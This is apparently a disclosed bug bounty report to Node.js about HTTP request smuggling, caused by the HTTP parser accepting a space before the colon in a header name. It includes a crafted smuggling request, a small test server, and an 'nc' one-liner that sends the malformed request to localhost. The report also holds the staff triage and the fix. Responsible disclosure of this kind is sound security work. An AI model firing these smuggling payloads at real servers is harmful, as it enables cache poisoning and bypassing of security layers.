

17 HTTP Request Smuggling due to accepting space before colon

Share:     

TIMELINE



mkg submitted a report to [Node.js](#).

Jun 20th (about 1 year ago)

Summary:

The `http` parser in the `http` module in Node 16.3.0 accepts requests with a space (SP) right after the header name before the colon. This can lead to HTTP Request Smuggling (HRS).

Description:

When Node receives the following request:

```
Code 61 Bytes Wrap lines Copy Download
1 GET / HTTP/1.1
2 Host: localhost:5000
3 Content-Length : 5
4
5 hello
```

It interprets the request as having the body `hello`. Here is the relevant section of the code: <https://github.com/nodejs/http/blob/master/src/http/http.ts#L410-L415>

How could this lead to HRS? Imagine that Node is placed behind a proxy which ignores the CL header with a space before the colon, but forwards it as is. Then the following attack can be performed:

```
Code 123 Bytes Wrap lines Copy Download
1 GET / HTTP/1.1
2 Host: localhost:5000
3 Content-Length : 23
4
5 GET / HTTP/1.1
6 Dummy: GET /smuggled HTTP/1.1
7 Host: localhost:5000
8
```

The proxy would see the first and the second GET-request. But Node would see the first and the third GET-request.

Steps To Reproduce:

We don't know of any proxy that behaves this way, but here is how to show that Node is behaving in the described way. Run the following code like this: `node app.js`

```
Code 568 Bytes Wrap lines Copy Download
1 const http = require('http');
2
3 // https://nodejs.org/en/docs/guides/anatomy-of-an-http-transaction/
4
5 http.createServer((request, response) => {
6   let body = [];
7   request.on('error', (err) => {
8     response.end("error while reading body: " + err)
9   }).on('data', (chunk) => {
10    body.push(chunk);
11  }).on('end', () => {
12    body = Buffer.concat(body).toString();
13
14    response.on('error', (err) => {
15      response.end("error while sending response: " + err)
16    });
17
18    response.end("Body length: " + body.length.toString() + " Body: " + body);
19  });
20 }).listen(5000);
```

Then send a request with a space between the CL header and the colon. This can be done with the following one-liner:

```
Code 104 Bytes Wrap lines Copy Download
1 echo -en "GET / HTTP/1.1\r\nHost: localhost:5000\r\nContent-Length : 5\r\n\r\nhello" | nc localhost 5000
```

See that Node interpreted the body as `hello`.

Supporting Material/References:

Relevant section of RFC 7230 (second paragraph of <https://datatracker.ietf.org/doc/html/rfc7230#section-3.2.4>):

```
Code 490 Bytes Wrap lines Copy Download
1 No whitespace is allowed between the header field-name and colon. In
2 the past, differences in the handling of such whitespace have led to
```

```
6   of 400 (Bad Request). A proxy MUST remove any such whitespace from a
7   response message before forwarding the message downstream.
```

Impact

Depending on the specific web application, HRS can lead to cache poisoning, bypassing of security layers, stealing of credentials and so on.

— mkg invited another hacker as a collaborator. Jun 20th (about 1 year ago)

— astraol joined this report as a collaborator. Jun 20th (about 1 year ago)

kumarak39 (Node.js staff) posted a comment. Jun 23rd (about 1 year ago)
Thanks, @mkg for reporting!

The parsing of header fields does not seem in line with the RFC. The `11httpd` should not ignore white spaces between header fields name and colon.

I am curious what would be a specific case where the proxy will ignore CL and forward the requests to the node. It will be great if you could provide an example of it.

mkg posted a comment. Jun 23rd (about 1 year ago)
We have investigated the latest version of the most popular proxies (Nginx, Apache HTTP Server, Haproxy) and found that they don't have the specific behavior required for the attack. That is, to forward requests with `Content-Length : 123`. But we haven't investigated all proxies that exist. There could also be older versions of proxies with the specific behavior. So unfortunately we can't give you an example.

To clarify: the required behavior in the proxy would also be a bug.

There has however been earlier Request Smuggling research by Regilero where he found several issues based on space + colon:

- Apache Traffic Server - [CVE-2018-8004](#)
- Apache HTTP Server (httpd) - [CVE-2016-8743](#)
- Varnish4 - 2016

Here is the source: <https://hackerone.com/reports/648434>

Interestingly, Regilero has also reported this exact issue to Node earlier, together with a bunch of other issues (See the above h1-report). They were collectively assigned [CVE-2016-2086](#). All of the issues were fixed, except for the space + colon issue. Here are some related links:

- <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-2086>
- <https://nodejs.org/en/blog/vulnerability/february-2016-security-releases/>
- <https://github.com/nodejs/http-parser/commit/e2e467b91262246b339fb3d80c8408d498b4a43b> <-- This seems to be the commit which fixed the issues.

Mattias & Asta

snell (Node.js staff) posted a comment. Jun 23rd (about 1 year ago)
@indutny ... this is likely something for you to investigate.

— jasnell (Node.js staff) changed the status to 🔴 Triaged. Jun 23rd (about 1 year ago)

mkg posted a comment. Aug 16th (about 1 year ago)
Any update on this?

mcollina (Node.js staff) posted a comment. Aug 17th (about 1 year ago)
Not right now - hopefully soon.

mcollina (Node.js staff) posted a comment. Sep 15th (about 1 year ago)
The fix is ready and it will be go in the next Security release.

mcollina (Node.js staff) posted a comment. Oct 1st (about 1 year ago)
How can we attribute this finding to you in public communications?

mcollina (Node.js staff) posted a comment. Oct 1st (about 1 year ago)
I would rate this as <https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N&version=3.1>. Do you agree?

mkg posted a comment. Oct 1st (about 1 year ago)
You can attribute to us like this: Mattias Grenfeldt (<https://grenfeldt.dev/>) and Asta Olofsson
If links are not allowed just remove it. :)
We agree with the rating.
Will there be a CVE for this?

mcollina (Node.js staff) posted a comment. Oct 1st (about 1 year ago)
Yes there will be once we release.


— mcollina (Node.js staff) updated CVE reference to [CVE-2021-22959](#). Oct 1st (about 1 year ago)

— mcollina (Node.js staff) updated the severity to Medium. Oct 15th (about 1 year ago)

mcollina (Node.js staff) closed the report and changed the status to 🟢 Resolved. Oct 15th (about 1 year ago)
Released as part of <https://nodejs.org/en/blog/vulnerability/oct-2021-security-releases/>


- The Internet Bug Bounty rewarded [astraol](#) with a **\$125** bounty.

Oct 20th (about 1 year ago)
- The Internet Bug Bounty rewarded [mkg](#) with a **\$125** bounty.

Oct 20th (about 1 year ago)
-  [mkg](#) posted a comment.

Thanks for the bounty :)

I don't know how you accept the "request for disclosure", but we are fine with disclosing this now.

Oct 20th (about 1 year ago)
-  [mcollina](#)

Node.js staff

posted a comment.

I think from the dropdown at the bottom where you see "add comment"

Oct 20th (about 1 year ago)
- [mkg](#) agreed to disclose this report.

Oct 20th (about 1 year ago)
- This report has been disclosed.

Oct 20th (about 1 year ago)